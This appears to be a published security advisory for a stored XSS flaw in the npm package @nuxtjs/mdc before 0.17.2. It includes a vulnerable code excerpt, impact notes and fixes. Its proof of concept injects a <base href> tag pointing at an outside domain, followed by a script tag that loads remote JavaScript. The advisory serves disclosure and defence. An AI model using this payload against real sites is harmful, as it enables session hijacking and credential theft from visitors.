An open API service providing security vulnerability metadata for many open source software ecosystems.

GSA_kwCzR0hTQS1jajZyLXJycjktZmc4Ms4ABKUB

High EPSS: 0.00054% (0.17074 Percentile) EPSS:

Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering

Affected Packages Affected Versions Fixed Versions
npm:@nuxtjs/mdc < 0.17.2 0.17.2
6 Dependent packages
34 Dependent repositories
303,386 Downloads last month

Affected Version Ranges

All affected versions

0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.2.4, 0.2.5, 0.2.6, 0.2.7, 0.2.8, 0.2.9, 0.3.0, 0.3.1, 0.3.2, 0.4.0, 0.5.0, 0.6.0, 0.6.1, 0.7.0, 0.7.1, 0.8.0, 0.8.1, 0.8.2, 0.8.3, 0.9.0, 0.9.1, 0.9.2, 0.9.3, 0.9.4, 0.9.5, 0.10.0, 0.11.0, 0.11.1, 0.12.0, 0.12.1, 0.13.0, 0.13.1, 0.13.2, 0.13.3, 0.13.4, 0.13.5, 0.14.0, 0.15.0, 0.16.0, 0.16.1, 0.17.0, 0.17.1

All unaffected versions

Summary

A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld"> element.
The <base> tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.

Details

  • Affected file : src/runtime/parser/utils/props.ts
  • Core logic  : validateProp() inspects
    • attributes that start with on → blocked
    • href or src → filtered by isAnchorLinkAllowed()
      Every other attribute and every tag (including <base>) is allowed unchanged, so the malicious href on <base> is never validated.
export const validateProp = (attribute: string, value: string) => {
  if (attribute.startsWith('on')) return false
  if (attribute === 'href' || attribute === 'src') {
    return isAnchorLinkAllowed(value)
  }
  return true               // ← “href” on <base> not checked
}

As soon as <base href="https://vozec.fr"> is parsed, any later relative path—/script.js, ../img.png, etc.—is fetched from the attacker’s domain.

Proof of Concept

Place the following in any Markdown handled by Nuxt MDC:

<base href="https://vozec.fr">
<script src="/xss.js"></script>
  1. Start the Nuxt app (npm run dev).
  2. Visit the page.
  3. The browser requests https://vozec.fr/xss.js, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).

Impact

  • Type: Stored XSS via remote script inclusion
  • Affected apps: Any Nuxt project using @nuxtjs/mdc to render user-controlled Markdown (blogs, CMSs, docs, comments…).
  • Consequences: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.

Recommendations

  1. Disallow or sanitize <base> tags in the renderer. The safest fix is to strip them entirely.
  2. Alternatively, restrict href on <base> to same-origin URLs and refuse protocols like http:, https:, data:, etc. that do not match the current site origin.
  3. Publish a patched release and document the security fix.
  4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with FORBID_TAGS: ['base'].
References: